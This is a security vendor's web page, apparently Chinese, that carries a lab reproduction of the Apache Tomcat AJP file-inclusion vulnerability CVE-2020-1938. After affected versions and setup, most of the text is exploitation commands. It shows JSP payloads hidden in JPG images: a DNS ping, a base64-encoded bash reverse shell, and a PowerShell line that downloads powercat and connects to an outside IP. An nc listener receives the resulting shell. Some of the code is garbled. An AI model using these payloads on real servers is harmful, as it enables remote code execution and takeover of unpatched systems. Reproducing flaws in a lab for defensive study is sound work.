浙江省委宣传部副部长、省委网信办主任赵磊:守正创新 辩证施策 全力推动网络生态治理工作迈上新台阶
2026-02-10
美创产品全面入围中直机关2025年网络设备框架协议采购项目
2026-02-04
连续5年!美创再获中国网络安全产业联盟“先进会员单位”表彰
2026-01-21
每周安全速递³⁷¹ | 勒索软件攻击导致心理健康机构超11万人数据泄露
2026-01-06
四年同行,韧性共铸:西南某商行携手美创科技再度通过年度容灾大考
2025-12-26
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务环境搭建
Windows 10 x64
Apache Tomcat8.5.50
下载Tomcat8.5.50,解压
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.50/bin/

运行startup.bat,启动tomcat,http://127.0.0.1:8080/

Ajp是默认开启的,运行在8009端口
漏洞详情
漏洞介绍:
Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的ROOT目录下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。
受影响版本
Apache Tomcat 6
Apache Tomcat 7< 7.0.100
Apache Tomcat 8< 8.5.51
Apache Tomcat 9< 9.0.31
不受影响版本
Apache Tomcat =7.0.100
Apache Tomcat =8.5.51
Apache Tomcat =9.0.31
漏洞复现:
下载exp:
https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
执行python2tomcat_file_read.py -p 8009 -f /WEB-INF/web.xml 192.168.99.145,可以成功读取web.xml文件
在ROOT目录下创建一个test.txt测试文件
python2tomcat_file_read.py -p 8009 -f test.txt 192.168.99.145
在ROOT目录下建立一个upload文件夹,模拟存在上传功能的应用环境,且只能上传图片文件。
创建文件dnslog.jsp、shell.jsp、1.jpg,生成需要进行文件包含的图片payload
DNSLOG测试:
<%
java.io.InputStreamin = Runtime.getRuntime().exec("pingfiohed.dnslog.cn").getInputStream();
int a = -1;
byte`` b =new byte`2048`;
out.print("
");");while((a=in.read(b))!=-1){
out.println(newString(b));
}
out.print("
%>
Linux反弹shell(执行的命令需要去http://www.jackson-t.ca/runtime-exec-payloads.html转换一下):
<%
java.io.InputStreamin = Runtime.getRuntime().exec("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte`` b =new byte`2048`;
out.print("
");");while((a=in.read(b))!=-1){
out.println(newString(b));
}
out.print("
%>
Windows反弹shell:
<%
java.io.InputStreamin = Runtime.getRuntime().exec("powershell IEX(New-ObjectSystem.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 121.196.124.61 -p 12583 -e cmd").getInputStream();
int a = -1;
byte`` b =new byte`2048`;
out.print("
");");while((a=in.read(b))!=-1){
out.println(newString(b));
}
out.print("
%>
合成payload图片:
copy 1.jpg/b + dnslog.jsp/a dnslog.jpg
copy 1.jpg/b + shell.jsp/a shell.jpg
将dnslog.jpg、shell.jpg复制到/ROOT/upload目录下进行文件包含测试
python2 tomcat_file_include.py -p 8009 -fupload/dnslog.jpg 192.168.99.145
nc监听7777端口,nc -lvvp 7777
python2 tomcat_file_include.py -p 8009 -fupload/shell.jpg 192.168.99.145
成功反弹shell